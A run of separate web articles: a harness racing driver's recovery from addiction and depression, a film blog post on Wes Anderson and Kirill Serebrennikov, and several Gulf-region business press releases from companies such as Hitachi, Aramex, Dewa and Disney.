In the early 90's, Tyler got his start in horse racing by grooming and jogging horses. He spent his spare time around horses and was a regular at Queensbury Downs. Robert Baxter let Tyler take his first training mile drive in Moose Jaw behind Catch A Star. Tyler was hooked  and before you knew it, he had his driver license tucked safely in his worn-out leather wallet  and in just his third lifetime drive, he won his first race with Way Out of Bounds. Many people in the racing community believed a promising career had begun. Things seemed to be falling into place for Tyler  or were they?

On September 24, 2012, Tyler's addiction with alcohol and drugs began to take a toll. His voice begins to quiver as he explains, "It was like one in the morning  I jumped on my ATV and started to rip around  I was looking for a fix. I whipped around a corner and slammed head-on into the biggest yellow tractor I have ever seen. I woke up in the hospital, jaw broken in two places, with 13 screws and two steel plates."

To help deal with the pain, he quickly returned to cannabis as a coping mechanism. He went about his business as usual with no one realizing the demons that he was facing daily. What stayed constant in his life for the next six years was his love for training and catch driving. Unfortunately, the addictions knocked Tyler 'off stride'  losing substantial ground in day-to-day life that he just couldn't make up. These setbacks pushed him to go looking for a stronger fix  and he often turned to prescription drugs and cocaine. Many in the racing community believed that Tyler's career was finished for good  no one believed in him and it forced him to leave the industry for the next two years.

The days became longer and harder for Tyler. The mental illness and instability haunted him. He found himself in a very dark place with little hope. He emphasizes, "I was sober for six years. I didn't want to live or feel the way I did  the drugs helped me not feel anything."

Time was not on Tyler's side. "I was struggling with mental illness and I tried to commit suicide three times. I'm not proud of that, but there is a reason why I am here today", explains Tyler.

"Dad why are you always in the garage? I never get to see you as it is. I want to spend more time with you."

With the words of his daughter replaying in his mind  repeating like a bad song that gets stuck in your head  Tyler knew he had to change. His first step was to ask for help  and begin to battle with his addictions head on. Months later, and after an incredible fight, Tyler was clean. With a new lease on life, his familiar driver colours of blue, yellow and white returned to Century Downs. Always smiling and working hard with the horses, the racetrack was his second home. His return to Century Downs was where an incredible bond would form that no one saw coming.

In July of 2020, Super Star Stables (managed by Kurt Belich and Taylor Reed) decided to lease to Tyler and partner Logan Archibald a horse named Star Flight. The horse was racing terribly, and the ownership group had lost hope in the horse.

Picture this  a horse that everyone had given up on was paired with a horseman that many had also given up on. "Star Flight and I were meant to be. I truly believe we were put together for a reason. She was broken  I was broken. We were put together to fix each other, to help each other, to heal each other," Tyler boasts.

From that day forward, Star Flight was instantly referred to as 'his girl'. The two found instant success. In 2020, Star Flight and Tyler posted seven wins in just over 20 starts. And if that wasn't enough to draw attention, Tyler had a surprising third place catch drive in the Western Canada Pacing Derby with Fully Covered  a feat that really made people sit up and take notice.

In our interview, Tyler sits up and it is clear he wants to make a point, "This all happened for a reason. Mental health problems are an illness, but you can overcome it. Ask for help like I did  don't be embarrassed. I am here to help; I want people to learn from my story. At the race track, people come up to me wanting to talk, looking for help  I will always be there for anyone who needs help  always. People don't fake depression or mental illness; they fake that they are okay."

Tyler has also not forgotten his roots, "I returned (to Cowessess First Nation) and talked to the band elders. Our culture and beliefs are beautiful and are a big part of who I am today." Tyler is now 3 years sober and 19 months drug free.

To date, Tyler has won more than 400 races and $1.6 million in purses. He currently has a modest stable of four horses. On any Alberta race card, his familiar driver colours can been seen at Century Downs, The Track On 2 or Century Mile. He shoes 60 to 70 horses a month and puts in very long days. Driving success continues to follow Tyler this year  including his incredible three-for-three record in the bike with Miss iTunes for owners Dave Lamont and Donna Wyse.

Away from the track, Tyler is the father of three children  his daughter Parker, 11 and 10-year-old twin brothers Tayvin and Keltin. He has separated from their mother but the two remain good friends. When he speaks of his kids you can't help but notice the smile lighting up his face. Tyler states emphatically, "My kids saved me, and quite simply, I wouldn't be here right now if it wasn't for them."

"Dad why are you always in the garage? I never get to see you as it is. I want to spend more time with you."

(HRA / Jeff Robillard)
Neeyamo, a leading provider of technology-driven global payroll and HR solutions based in Chennai, has effectively organized a series of vaccination drives for its employees located in Madurai, Pune and Chennai. The company has facilitated Covishield vaccination drives for over 650+ employees in partnership with Apollo Hospitals in Chennai & Madurai and Ruby Hall Hospitals in Pune. Neeyamo has plans to immunize its entire workforce within the next 30 days as the company gradually returns to work at its offices.

The company has been conducting a series of executive-led awareness campaigns to encourage its employees and their dependents to get vaccinated. In addition to organizing vaccination camps, Neeyamo has also announced a program to reimburse the total vaccination costs of all its employees who want to get their doses at private centers and vaccines of their choice. This will also benefit those employees who currently reside in their hometowns, away Global Delivery Centers.

Neeyamo has revamped its wellness policies to cater to the current scenario. Hospitalization leave can be availed by those who test positive by verifying the RT-PCR test, regardless of getting admitted or undergoing self-quarantine. Over the past few months, Neeyamo has been focusing on various internal awareness programs on its internal employee engagement platform NeeyamoWorks POST.

Rangarajan Seshadri, CEO of Neeyamo said, At Neeyamo, our highest priority for the past two months has been to ensure our employees health and wellbeing. The second wave was quite challenging, and we would like to take all measures to make sure that our employees are safe. We are committed to ensuring a safe return to work, and employee vaccinations are the first step in this direction. From sanitizing our offices regularly to mandating social distancing, we are extending all possible efforts to ensure employee wellbeing by going over and above government-recommended regulations and safety practices as we reopen our offices.
Hitachi announced that it has completed the acquisition of GlobalLogic Inc. (GlobalLogic) pursuant to the terms of the definitive agreement signed on March 31, 2021. As announced in the press release dated March 31, Hitachi Global Digital Holdings LLC (HGDH), a U.S. subsidiary of Hitachi, has acquired 100% of the outstanding shares of GlobalLogic Worldwide Holdings, Inc. (GlobalLogic Worldwide Holdings), the parent company of GlobalLogic, and GlobalLogic Worldwide Holdings and GlobalLogic have become wholly owned subsidiaries of HGDH.

With more than 21,000 professionals working in engineering centers, and design studios around the globe, GlobalLogic specializes in advanced digital engineering, experience design, and data services to help clients accelerate innovation and the development of new digital products and experiences, through collaborative creation on a global scale. The acquisition of GlobalLogic will enhance Hitachi Groups ability to deliver on its strategy to promote Social Innovation Business through digital technology to solve the issues faced by customers and society. In addition, Hitachi Group will be able to further accelerate the digital transformation of social infrastructure on a global scale by expanding its core Lumada digital solutions business globally.

GlobalLogics capabilities combined with Hitachis Lumada will enable GlobalLogic to deploy Hitachis extensive library of digital solutions to the global market and help customers and societies solve their issues through agile application development in the cloud. Furthermore, Hitachi expects collaboration between GlobalLogic and Hitachis five sectorsIT, Energy, Industry, Mobility, Smart Life, and its automotive systems business (Hitachi Astemo) will add tremendous value to its wide range of products, adding advanced digital technologies, and creating new Lumada solutions. Through these efforts, Hitachi and GlobalLogic will work together to address the growing market for digital innovation, and promote the global expansion of the Lumada businessadvancing Hitachis mission to increase social, environmental, and economic value of customers by focusing on three key areas of Environment, Resilience, Security & Safety, and contribute to realize a sustainable society.

Toshiaki Higashihara, Executive Chairman & CEO, Hitachi Ltd., said, We are very pleased to welcome GlobalLogic to the Hitachi Group. Hitachi aims to become a global leader in the social innovation business by accelerating digital transformation of social infrastructure by combining the innovativeness of GlobalLogics advanced digital product engineering and experience design capabilities with the reliability that Hitachi has established in mission-critical fields. Through collaborative creation with customers around the world, Hitachi and GlobalLogic will work together to resolve issues faced by society and customers leveraging Lumada and contribute to improve peoples quality of life by focusing on three key areas of Environment, Resilience, and Security & Safety.

Shashank Samant, President and CEO of GlobalLogic, said, Joining the Hitachi Group creates a unique opportunity to bring together the power of Operating Technology (OT), Information Technology (IT) and IoT/Digital Engineering under one umbrella. We are excited to join forces with Hitachi and eager to forge our combined talent and experience in domain and digital to create innovative outcomes for our clients, and greater value for society.
Monday, July 12, 2021 at 11:40PM

by Claudio Alves

Last year, while the Cannes Film Festival did not occur, the organizers revealed a list of titles selected. Wes Anderson's The French Dispatch was among them, and, unlike many other films slotted for the 2020 Croisette, it rescheduled all release plans so it could still premiere at the festival. After a one-year delay, it's finally upon us, and the reviews skew positive. Let's hope it's worth the wait. Another main competition title to take its bow today was Kirill Serebrennikov's Petrov's Flu. It's the Russian director's second film to compete for the Palme d'Or and his first release since a controversial conviction for embezzlement. Still banned from leaving Russia, he attended the festival by FaceTime. More on that later. For now, let's look back at these directors' previous successes  a bittersweet comedy on dysfunctional families and a galvanizing political allegory about modern Russia

THE ROYAL TENENBAUMS (2001)

As if existing in a pocket dimension of whimsical melancholia, the world of The Royal Tenenbaums is a land of contrasts. Outside, the Autumnal views of New York dominate. Inside, David Wasco's diorama-like sets and the symmetrical compositions invoke vertical labyrinths of palatial spaces, alternatively decorated like a retro Vogue editorial or an over-ornamented kids' room. It's beautiful, for sure, but also fussy, pungent with the scent of arrested development and the flowery decay of fallen American aristocracy. It's the friction between brisk reality and the eccentricity some wear as shields to hide behind, vulnerabilities kept safe and out of sight. While one can easily discard Wes Anderson's cinema as a nightmare of twee superficiality, such visual tensions reveal purpose to the quirk.

Style is the same as content, not its oppositional adversary. This is true here and in all forms of cinema. All the poppy glitz in The Royal Tenenbaums has an underbelly of sadness, the laughs twinkle with the sound of loss. The carnivalesque images highlight the apathy manifest in the characters' faces, their endless disappointments, and casual cruelties. The set is smiling. Why aren't they? Floundering in great expectations that failed to meet their promise, the Tenenbaums and all those who orbit around them are a sad bunch, even if their surroundings speak of nostalgic folly. That's not to say that the film is perfectsome arcs misfire, and the sprawling cast of characters incontrovertibly means there are underdeveloped players.

Still, when it sings, The Royal Tenenbaums sounds like a masterpiece. In his last great role, Gene Hackman is a patriarch unmoored, clownish and greedy, the man's manipulations can't obscure his yearning. Gwyneth Paltrow is similarly sterling as the memorably attired Margot Tenenbaum. Smoking a cigarette like a barely animated corpse, fermenting in ennui, she commands the screen. Margot's storyline with Luke Wilson's Richie is a box full of surprises, most of them heartbreaking, some transcendent, lovely, or funny. When a falcon flies, hair is cut, or a smile flashes across the screen, we're bewitched, bothered, and bewildered. Wes Anderson thus makes his movie's affectations into the weapons by which he devastates and disarms us.

Available to rent from most services, including Amazon Prime Video and Youtube.

THE STUDENT (2016)

During a short period in the mid-2000s, the national government was actively trying to promote, if not support, new Russian artists. This made way for a cadre of bold creatives with experimental intent and progressive politics to rise in prominence. However, by the 2010s, a crescendo of paranoia gave way to an increase in political repression, radical conservatism, and religious zealotry. Gradually, Russian's rising stars in the art world turned into victims of the same state that had hitherto encouraged them. Film and stage director Kirill Serebrennikov is among those artists victimized by Putin's regime. In 2017, he was arrested. While eventually released on a suspended sentence, the verdict against him was widely condemned as a Human Rights violation, and the entire enterprise deemed a show trial.

This context is vital to understanding the director's work, how risky it truly is, and why Serebrennikov might not be inclined towards subtlety. Indeed, there's very little nuance in The Student, a galvanizing nightmare about growing religious fundamentalism in a contemporary Russian school. It all starts inanely enough when a teenaged pupil refuses to participate in swimming classes. A man possessed, Venya is already too far gone when we first encounter him, violently criticizing the immodesty of his bikini-clad classmates. Slowly though, despite increased aggression, his belching of fire and brimstone becomes normalized as authority figures continue to acquiesce to the demands. As it turns out, his open fanaticism was the needed opening for others to reveal latent prejudices and a desire for retrograde authoritarianism.

Only a science teacher stands in his way, gifting the audience with an avatar to follow into this allegory for our modern times. Serebrennikov films The Student as an exercise in anxiety, shooting each scene in elaborate long shots as if attuned to the teacher's growing despair. As the camera keeps moving, trying to keep up with the actors, the chaos on-screen gains the appearance of an unholy ballet. Sermonizing in raged mania, Pyotr Skvortsov has the proper conviction to make Venya's tirades more scary than absurd, and there's disquieting verisimilitude to his vision of a charismatic leader gaining power through a rhetoric of hate. The symbolism of it all is rather obvious, and the ending gilds the lily far too much, but one can't deny The Student's power. Considering Serebrennikov's later prosecution, this film gains retroactive valor, and the critique only feels more pointed.

Streaming on Tubi and Kanopy. You can also rent it on several services.

What are your favorite films from these directors' oeuvres?
Leading integrated facilities management services provider, Emrill, has expanded the use of technology to enhance service delivery with the launch of its TechCompanion app.

The app, which is currently being utilised by over 2,000 technicians, engineers and supervisors across multiple sites and shifts, empowers Emrill's employees to access and utilise data and information to drive efficiencies across the company's contracts and support success for its clients' projects and communities.

In 2020, Emrill launched What's Next Engineering, an initiative led by innovation and implementing new ideas, which the company encourages through its ongoing continuous improvement workshops.

Emrill's TechCompanion app was developed under the umbrella of this initiative, in line with the company's aim to be future-ready through harnessing new technology to redefine service delivery.

Accessible via iOS and Android mobile devices, Emrill's TechCompanion app provides technicians with an all-in-one, multipurpose guidance, training and maintenance toolkit with multilanguage capabilities, said the statement from the company.

It provides a centralised solution and single point of contact for each vendor, as well as an escalation matrix and database of contacts for each asset.

To guide and instruct technicians, all information related to assets, including service and technical manuals, is available on the app and can be accessed while employees are onsite via an easy-to-navigate up-to-date documentation and catalogues library.

Additionally, Emrill's TechCompanion app functions as an education and development tool, providing technicians access to online courses and training.

Reducing the need for direct staff training, in addition to decreasing the need for specialist subcontractor involvement for troubleshooting, has enabled Emrill to offer competitive pricing to clients, which has been especially important during the pandemic when budget constraints have been a significant factor.

To ensure Emrills TechCompanion app is utilised to its fullest extent and does not detract from tasks at hand, it has been designed with an easy-to-use administrative panel, enabling technicians and supervisors to manage the application on-the-go.

CEO Stuart Harrison explained the company's decision to prioritise technology as a pillar of Emrill's service delivery concept.

"Emrill understands leading the facilities management sector's digital transformation through integrating new technologies and harnessing the potential of young, up-and-coming engineers and technicians is the only way to achieve sustainable business growth," he stated.

"Emrill's TechCompanion app demonstrates our commitment to integrating technology solutions and a system-driven approach for technical service delivery, he noted.

"While the pandemic has accelerated the roll-out of the app, as we explored ways in which we could minimise non-essential contact between employees, using technology to empower site-based teams and augment quality assurance has been a core part of our business's DNA for a number of years, preceding the challenges we have all faced due to Covid-19," he added.
Ideal Standard Mena, a part of Ideal Standard International, the leading manufacturers of bathroom solutions with headquarters in Belgium, has announced its strategic partnership with the Belgian Pavilion for Expo 2020 Dubai.

During the event, Ideal Standard will be celebrating Diversity in Harmony with the Belgian Pavilion, driving the narrative of innovation and design forward, creating a synergy between art and technology, and showcasing technological expertise.

It will host exclusive product launches, exquisite events, and a showcase its latest products and collections, among which are collections designed by world renowned designer Robert Palomba from

Palomba Serafini Associati Studio.

Also in the spotlight will be Ideal Standards Intellimix  a smart sustainable faucet, designed to dispense both soap and water with every use - which has won two coveted international design awards, the Red Dot Award for Product Design 2021 and the iF Design Award 2021, said the company in a statement.

Situated in the Mobility District, the Belgian pavilion, or the Green Arch, will showcase the grandeur of Belgium and highlight the innovations, art, culture, techniques, applications, products and materials of the country.

Belgium has been leading global efforts in achieving the Sustainable Development Goals devised by the UN, and at the Expo, the country will be represented by the theme of Smart and Green Belgium 2050.

Ideal Standard Mena CEO Ahmed Hafez said: Ideal Standard, since its inception, has stood for design and innovation, aesthetics and form, and engineering excellence. The Belgian pavilion gives us the opportunity to embrace our history of pioneering innovation and to bring our culture of design to the Expo."

"Together with architects, interior designers, and partners, we continue our journey to create the new standards of modern life, he stated.

Commenting on the partnership, Patrick Vercauteren Drubbel, General Commissioner, Belgian Pavilion Dubai Expo 2020, said: Expo2020 Dubai is a place where all countries will converge, displaying their progress, building connections and celebrating global harmony. It is one of the most important events of the year and we are honoured to have partnered with Ideal Standard to enrich our participation at the Expo."

"Intrinsically, the values, the culture, the future outlook of Ideal Standard are aligned with the values of our country and therefore, this partnership will enable us to showcase our drive towards innovation and sustainability. We, earnestly, welcome Ideal Standard on board, noted Drubbel.

Following the Covid pandemic, Expo 2020 Dubai, will be the first major global platform to host 192 countries under the theme of Connecting Minds, Creating the Future, and subthemes of Opportunity, Mobility and Sustainability, enabling the world to become more inclusive and creating a more sustainable future.

In line with the Expo vision and mission, Ideal Standard will bring inspirational designs and manufacturing excellence to the Belgian Pavilion at the Expo, he added.-TradeArabia News Service
The Walt Disney Company Middle East and Alshaya Group have opened the Middle Easts first-ever Disney Store shop-in-shops in Dubai, Abu Dhabi and Kuwait.



Featuring a brand new store design unique to Disney Stores, each of the six shop-in-shop includes a wide-range of products from your favourite Disney, Pixar, Marvel and Star Wars characters and movies, all carefully curated for the region - including apparel, costumes, toys, and home goods.



John Hadden, Alshaya Group CEO, said: We all grew up with Disney and we all have a favourite character. We are delighted that Alshaya Group has been able to collaborate with The Walt Disney Company Middle East to bring the magic of Disney, not only to a new generation, but also to life-long fans. We look forward to introducing these exciting new shop-in-shops to the region and hope to welcome customers back time after time.



Vice President and General Manager, Disney Consumer Products Southeast Asia, India & Mena, Dan Dossa, commented: We are thrilled to see our Disney Store shop-in-shop concepts in the Middle East come to life and for the first time outside the Americas. At Disney, we are always looking for new ways to be closer to our fans, while delivering unforgettable retail experiences. With the help of Alshaya Group, these stores will connect children and families in the Middle East with their favourite Disney characters and stories, while allowing them to create new and long-lasting memories.



Three Disney Store shop-in-shops are now open across the UAE. The stores are located inside Debenhams at Dubais City Centre Mirdif and Abu Dhabis The Galleria Al Maryah Island, and inside Mothercare at Yas Mall, Abu Dhabi. Residents also have a flagship store to look forward to which is set to open this summer inside Debenhams at Dubais Mall of the Emirates.



Reaching fans across the Middle East, a new flagship shop-in-shop is also open at The Avenues in Kuwait. Located inside Debenhams, the flagship is joined by two more locations, inside Mothercare stores at Fashion Way, Salmiya, and at Souk Sharq.



Over the next four weeks, an additional 26 locations are set to open across the region - in the UAE and Kuwait, as well as in Saudi Arabia and Qatar.  TradeArabia News Service
Aramex, a leading global provider of comprehensive logistics and transportation solutions, has signed a strategic MoU with Germany-based DB Schenker, a global leader in supply chain management and logistics solutions, to help drive forward synergistic opportunities in supply chain solutions across multiple critical industries to and from Abu Dhabi and the wider MEA region.

By leveraging DB Schenkers extensive global experience in specialised freight forwarding solutions across multiple industries, the partnership will seek to further boost Aramexs capabilities and offerings in the region, including, but not limited to, the aerospace, defense, infrastructure, and healthcare industries.

Conversely, by teaming up with Aramex and capitalising on its strong brand identity, leadership position, deep knowledge and expertise in the region, DB Schenker will be able to expand its presence more comprehensively in Abu Dhabi, a strategic and growing trade and logistics hub in the MEA region.

Commenting on the deal, Aramex CEO Othman Aljeda said: This is a very exciting strategic partnership that has the potential to unlock more value for existing customers while also enabling us to realise our commercial and diversification goals.'

"Over the several years, we have been strategically focused on enhancing our core freight forwarding business through investment in technologies and expanding on the ground operations with the intention of enhancing our capabilities, capturing greater market share in core markets and diversifying our customer base by penetrating new industry verticals," he noted.

By joining forces with DB Schenker, a global logistics company we regard as truly complementary to ours in the region, we will accelerate the realisation of our goals in the freight forwarding business," he added.

Aljeda said Aramex's alliance with the German group will enable it to become a stronger, more competitive player in the sea and air freight forwarding services in Abu Dhabi and other core markets.

"Traditionally our freight forwarding business was largely focused on the cyclical oil and gas (O&G) sector. While the company will continue to serve this important sector, the energy industry has witnessed lower levels of activities in recent years, which inevitably had a knock-on effect on Aramexs freight forwarding business," he stated. However, in 2020 the healthcare, pharmaceuticals and FMCG segment helped offset some of the weakness from O&G. Going forward, the company will continue to strengthen its freight forwarding capabilities through strategic partnerships, investment in technologies and hiring and upskilling the necessary talent, he added.

"While we are working on the partnership agreement and will update the market in due course on our final agreement, on behalf of the Aramex team, I look forward to working alongside the DB Schenker team, he noted.

DB Schenker CEO (Middle East & Africa) Christopher Smith, said: We recognise the immense opportunities emanating from Abu Dhabi and the MEA region. We believe our alliance with Aramex was a natural choice given their history, expertise, knowledge, and extensive network in the region."

"I am confident that together, we will be able to grow our footprint in Abu Dhabi and the wider MEA region. We are excited about this expansion plan, and we look forward to realising synergies and scaling our operations in the region to serve our existing major accounts and new potential clients more comprehensively, he added.-TradeArabia News Service
Al Futtaim, one of the leading UAE-based business conglomerates, has announced the launch of Al Futtaim Automotive Industrial Equipment (AFA-I.E), thus marking its entry into the used equipment market.

The new division incorporates the pre-owned products of both Al-Futtaim Auto & Machinery Company (Famco) and Al Futtaims Commercial Vehicles division.

The full range of products will cater to a diverse range of industries across the transportation, construction, oil and gas, manufacturing, warehousing and marine sectors from Used Commercial Vehicles, Material Handling Equipment, Construction Equipment, Power and Industrial Products and Remanufactured Genuine Spare Parts.

AFA-I.E will provide customers with used Volvo trucks, buses and construction equipment in addition to storage and handling products, power and industrial equipment, marine solutions from internationally renowned industry heavyweights including Yanmar, Doosan, Himonisa, AGG, SDLG, Ingersoll Rand and Linde.

Customers will also be able to purchase used HINO 300, 500 and 700 series trucks and Toyota Material Equipment in addition to the extensive portfolio of brands from other manufactures which will be available under one roof.

The launch of the new division is part of Al-Futtaims growth strategy and comes in response to the increasing demand for used equipment and vehicles.

Each equipment or commercial vehicle will be reconditioned to a defined set of criteria by trained technicians who will inspect every aspect and ensure they meet the required quality and durability standards.

"The launch of the used equipment division further reiterates the Groups commitment to provide customers with the best products and solutions and will specifically cater to a clientele that is looking for high-quality and cost-effective pre-owned equipment," said Ramez Hamdan, Managing Director  Industrial Equipment (Famco, HINO, Toyota Material Handling), Al-Futtaim Automotive.

"The Covid-19 pandemic has brought about a shift in customer preference for used vehicles and equipment. The new division will tap into this massive potential and will provide customers with quality vehicles and equipment that has undergone thorough quality checks by trained technicians thereby providing individual as well as corporate customers complete peace of mind and assurance," he added.

According to Al Futtaim, the team at AFA-I.E will offer customers total business solutions through new equipment sales, financial options, leasing and rental, trade-in and used unit sales. This means new and existing customers will benefit from a wide variety of well-maintained, best-in-class used products all under one roof.

All equipment and vehicles sold through AFA-I.E will provide full health checks that are performed by in-house technical experts and customers will receive full after-sales services including maintenance and genuine spare parts with optional after-sales contracts thereby providing additional peace of mind, it added.-TradeArabia News Service
Aotearoa New Zealands values-led approach to foreign affairs seeks to ignite connections between Indigenous & Tribal Peoples globally through the delivery of Te Aratini during Tolerance and Inclusivity Week at Expo 2020 Dubai from November 17 to 19.

Expo 2020 will take place in the UAE a place which, like Aotearoa New Zealand, is home to more than 200 nationalities. This shared diversity and respect for different cultures provides the ideal platform for Te Aratini to showcase the value of Indigenous & Tribal cultures.

Te Aratini will mark a culturally significant moment in the history of World Expos with Aotearoa New Zealand leading the collaboration of Expo participating countries to showcase the untapped potential Indigenous & Tribal Peoples offer to solving global issues.

With the heralding in of Matariki, the Maori New Year, Aotearoa New Zealand is calling for international participants to join Te Aratini and be a part of the movement toward greater inclusion and acceptance of Indigenous & Tribal Peoples knowledge and know-how.

For many Indigenous & Tribal peoples, including Maori, our beliefs are grounded in whakapapa (or genealogical connections) that establish relationships between people, the environment and the spiritual world. In the wake of the global pandemic these beliefs and values can help shape the worlds much needed commitment toward empathy, sustainability, and intergenerational solutions for wellbeing, said Nanaia Mahuta, Minister of Foreign Affairs for New Zealand.

Relationships are the cornerstone of Aotearoa New Zealands international connections. It is timely that Te Aratini will create a movement toward enhancing global relationships and exploring how to more proactively empower the resurgence and regeneration of Indigenous economies. Globally we can collectively build back better, fairer, more inclusively and more indigenously, she also added.

Indigenous & Tribal Peoples economies provide the foundation upon which many modern societies are built and now flourish. Approximately 370 million people worldwide identify as Indigenous Peoples, and the UNs Sustainable Development Goals (SDGs) state that true sustainable development is not possible without protecting the traditional knowledge and territories of Indigenous people.

Te Aratini will foster the development of a deeper, more holistic, understanding of economic inclusion and the converging roles of culture, community, commerce and conservation in the protection, maintenance and resurgence of the worlds Indigenous & Tribal economies.

Commenting on New Zealands lead role in Te Aratini, Clayton Kimpton, New Zealands Commissioner-General to Expo 2020 Dubai, said: We are extremely honoured to be hosting the first ever Festival of Indigenous and Tribal Ideas alongside the Iwi Chairs Forum, and other participating nations at a World Expo. The special status of Maori, as tangata whenua or Indigenous People, is central to Aotearoa New Zealands identity. Many of our values are deeply rooted in the beliefs of tangata whenua and our pavilions theme of Care for People and Place is underpinned by the Maori environmental ethos of kaitiakitanga. The pavilion will show how kaitiakitanga is a way of life amongst many New Zealanders and drives how we innovate through business, technology and creativity.

Te Aratini is being developed in partnership with the Iwi Chairs Forum through the guidance and vision of Ngahiwi Tomoana, tribal leader of one of Aotearoa New Zealands most prominent iwi, Ngati Kahungunu. He explains: When Indigenous & Tribal Peoples talk trade, its not just about products and Free Trade Agreements. Were talking more deeply about relationships, reciprocity, and responsibility to our communities. We live by the view that culture counts in commerce, community, and conservation. So, in forging trading relationships it is critical that healthcare, environment, language and culture are all part of that broader trade and economic policy conversation.

Te Aratini is intended to ignite our ancient relationships where time and circumstance has impeded our ability to keep some of those connections warm, and to nurture and strengthen those relationships that have manifested and re-connected over the past few decades, continued Tomoana.

Visitors to the New Zealand pavilion will be introduced to the story of the Whanganui River, one of the nations most precious natural resources and the first river in the world to gain legal rights under Te Awa Tupua (Whanganui River Claims Settlement) Act 2017. The innovative legislation recognises the river as a living and indivisible whole with Indigenous values that guide and support its health and wellbeing.

The powerful, universal story is designed to encourage visitors to connect with and care for people and place and to create a paradigm shift from exploiting to valuing our relationship with natural resources.

-- TradeArabia News Service
Dubai Electricity and Water Authority (Dewa) has installed more than two million electricity and water smart meters in Dubai in a move to develop state-of-the-art digital infrastructure, said Saeed Mohammed Al Tayer, Managing Director and CEO of Dewa.



Smart meters increase efficiency and reduce consumption, as well as enable customers to monitor their consumption anytime and anywhere. Dewa has also started operating the Smart Meters Analysis and Diagnosis Centre, where smart meters are read and monitored remotely every 15 minutes.



We have an integrated strategy for smart grids with investments up to AED7 billion ($1.9 billion) that will be completed in the short, medium, and long-term until 2035. The strategy includes different programmes such as Advanced Metering Infrastructure for Electricity, Advanced Metering Infrastructure for Water, Asset Management, and Big Data, among others, said Al Tayer.



Dewa launched the Smart Applications through Smart Meters and Grids initiative to support the Smart Dubai initiative to make Dubai the smartest and happiest city in the world. In addition to their role in smart transformation, operational efficiency and reducing water losses, smart meters provide many benefits to customers and help them monitor, manage, and control their consumption proactively and digitally without the need to contact Dewa. This contributes to reducing consumption and sustainability of resources, Al Tayer added.



Abdullah Obaidullah, Executive Vice President of Water and Civil at Dewa, said that Dewas state-of-the-art infrastructure for smart meters helped detect 503,161 water leakages; 16,103 defects; and 7,974 increase load cases in the past three years. This saved customers a total of AED324 million.



Obaidullah noted that the High Water Usage Alert service, which is part of the Smart Living initiative, helps customers detect leakage in water connections after the meter. The system sends instant notifications to the customer if there is an unusual increase in consumption to check the internal connections and repair any leaks. This reduces waste as well as incurred costs for customers.  TradeArabia News Service
THREE60 Energy Group, a leading independent energy service company offering complete asset life cycle solutions, has launched a new sustainability advisory service which will be led by recently appointed specialists Guro Tveit as HSEQ & Sustainability Manager and Anette Svendsen as Discipline Lead Sustainability.

The new sustainability advisory services are based on the United Nations Sustainable Development Goals, a collection of 17 interlinked global goals designed to be a blueprint to achieve a better and more sustainable future for all.

The new service spans the following areas:

*Full exploration and production (E&P) lifecycle support; including the planning and implementation of sustainable engineering solutions and expert advice on aligning operating requirements with sustainability strategies.

*Investment advice and due diligence; this includes advisory services related to applicable investment taxonomy, whilst supporting the relevant due diligence processes to ensure the operator is successful in securing the investment.

*Strategy and corporate governance; this includes policy development which helps operators to effectively and accurately prioritise their approach to managing sustainability across their organisation and maintain momentum when it comes to the energy transition.

*ESG performance monitoring and reporting; THREE60 Energy will help its customers to effectively report and communicate on ESG factors and sustainability performance to key stakeholders, whilst providing recommendations for improving their performance.

On Tveit's appointment, THREE60 Energy said she has worked with energy companies including Equinor, AkerBP, Lundin and Suncor during her career to drive their environmental and sustainability strategies.

In the newly created role, she will help drive the company's growth through business development activities. This will see the group become a leading provider of sustainable solutions and advisory in this area globally.

Tveit will also provide academic leadership in the discipline and will be responsible for growing THREE60 Energys sustainability credentials.

Svendsen, who will report to Tveit, joins THREE60 Energy from Avinor, a state-owned company operating most of the civil airports in Norway via the Norwegian Ministry of Transport and Communications.

On the new appointment, Tveit said: "Im very pleased to lead the launch of THREE60 Energys new sustainability service and also welcome Svendsen to the team. She brings impressive experience to the role having worked on transformational energy projects during her career. Her expertise in sustainable energy practices will further enhance the advisory services in this important area."

Svendsen, she stated, joins at a critical time not only for the energy industry, but for the entire planet.

"As a result of increased investor appetite for greater visibility of a business Environmental, Social and Governance (ESG) performance, and more accurate methods of tracking and improving this, in addition to heightened scrutiny from non-governmental organisations and the general public, energy companies are under more pressure than ever to prioritise sustainability," noted Tveit.

Lauding the appointments, Group CEO, Walter Thain said: "THREE60 Energy Group has strengthened the skills and experience within its team in all of its service lines across key geographies during the past six months to support its growth strategy."

"This is an extremely exciting time for the business and the energy industry. The launch of our new service, supported by the experience of Guro and Anette, will only serve to enhance the diversity of our offering and further demonstrate our drive to leverage our expertise and technologies to support the energy transition," he added.-TradeArabia News Service
The total economic contribution of the Queen Alia International Airport (QAIA) to Jordans gross domestic product exceeded JOD2.5 billion ($3.52 billion) (approximately 8.9%) in 2019, a report said.



Meanwhile, JOD542 million of government revenue was supported by QAIA, added the report titled Queen Alia International Airport Economic and Social Impact Study by Airport International Group (AIG). The study, which AIG commissioned, was conducted throughout 2020 by International Air Transport Association (IATA) Consulting - together with applied economic research expert SEO Amsterdam Economics and market research specialist Ipsos Jordan.



In terms of job creation, Airport International Group employed over 400 employees in 2019 - 99% of whom are Jordanians - while other airport stakeholders comprised nearly 16,500 employees. Within the larger QAIA ecosystem, the airport also supported over 238,000 direct and indirect jobs across the Jordanian economy.



In 2019, more than 2.3 million tourists arrived in Jordan by air, spending JOD2.9 billion on the national economy. These figures reiterated the vital role of QAIA - as the main entry point to the Kingdom - in promoting local leisure, business and medical tourism by enhancing connectivity to major destinations worldwide via its growing airline network.



The study also highlighted the substantial improvements QAIA has made in bolstering passenger capacity and traffic. Since the Jordanian company Airport International Group assumed the responsibility of managing the rehabilitation, expansion and operation of QAIA in 2007, air traffic until 2019 increased by 132%, with QAIA alone welcoming over 97% of total passengers to and from Jordan.



In addition to its diverse corporate social responsibility initiatives  which helped empower the communities surrounding QAIA -Airport International Group continually deployed best environmental and energy conservation practices that positioned QAIA as a national, regional and global leader in environmental management and the first carbon-neutral airport in the Middle East.



Following the release of the study findings, we will continue our efforts to maintain the positive impacts that QAIA has had on the national economy and social fabric of Jordan, commented Airport International Group CEO, Nicolas Claude.



Of course, these outcomes would not have been possible without the unwavering support of our various teams, partners and stakeholders. For that, I extend my sincerest gratitude for not only helping to establish QAIA as an international award-winning airport and the Kingdoms prime gateway to the world, but also as a national landmark of which Jordanians can always be proud.  TradeArabia News Service
The Abu Dhabi National Exhibitions Company (Adnec), part of ADQ, one of the regions largest holding companies, has added a new hotel to its portfolio: the Double Tree By Hilton London ExCel.



